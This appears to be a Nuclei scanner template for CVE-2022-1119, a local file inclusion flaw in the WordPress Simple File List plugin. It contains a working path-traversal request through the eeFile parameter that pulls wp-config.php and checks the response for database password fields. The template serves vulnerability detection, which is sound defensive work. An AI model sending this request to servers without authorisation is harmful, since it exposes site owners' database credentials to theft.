id: CVE-2022-1119

info:
  name: WordPress Simple File List <3.2.8 - Local File Inclusion
  author: random-robbie
  severity: high
  description: |
    WordPress Simple File List before 3.2.8 is vulnerable to local file inclusion via the eeFile parameter in the ~/includes/ee-downloader.php due to missing controls which make it possible for unauthenticated attackers retrieve arbitrary files.
  impact: |
    An attacker can exploit this vulnerability to read sensitive files on the server, potentially leading to further compromise.
  remediation: |
    Update WordPress Simple File List to version 3.2.8 or later to mitigate the vulnerability.
  reference:
    - https://wpscan.com/vulnerability/5551038f-64fb-44d8-bea0-d2f00f04877e
    - https://wpscan.com/vulnerability/075a3cc5-1970-4b64-a16f-3ec97e22b606
    - https://plugins.trac.wordpress.org/browser/simple-file-list/trunk/includes/ee-downloader.php?rev=2071880
    - https://nvd.nist.gov/vuln/detail/CVE-2022-1119
    - https://www.wordfence.com/vulnerability-advisories/#CVE-2022-1119
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
    cvss-score: 7.5
    cve-id: CVE-2022-1119
    cwe-id: CWE-22
    epss-score: 0.9133
    epss-percentile: 0.99642
    cpe: cpe:2.3:a:simplefilelist:simple-file-list:*:*:*:*:*:wordpress:*:*
  metadata:
    max-request: 1
    vendor: simplefilelist
    product: simple-file-list
    framework: wordpress
  tags: cve,cve2022,wp,wp-plugin,wpscan,lfi,wordpress,simplefilelist

http:
  - method: GET
    path:
      - "{{BaseURL}}/wp-content/plugins/simple-file-list/includes/ee-downloader.php?eeFile=%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e/wp-config.php"

    matchers-condition: and
    matchers:
      - type: word
        part: body
        words:
          - "DB_NAME"
          - "DB_PASSWORD"
        condition: and

      - type: status
        status:
          - 200
# digest: 4a0a0047304502200492d404dcc3e77b2f49e2ee5e39fffd73ae4e206067b96d41b7c9feeb5f3ff4022100827f400a19033327c8523dd530e5a6ff9190470e8350f813db9443a196e3f765:922c64590222798bb761d5b6d8e72950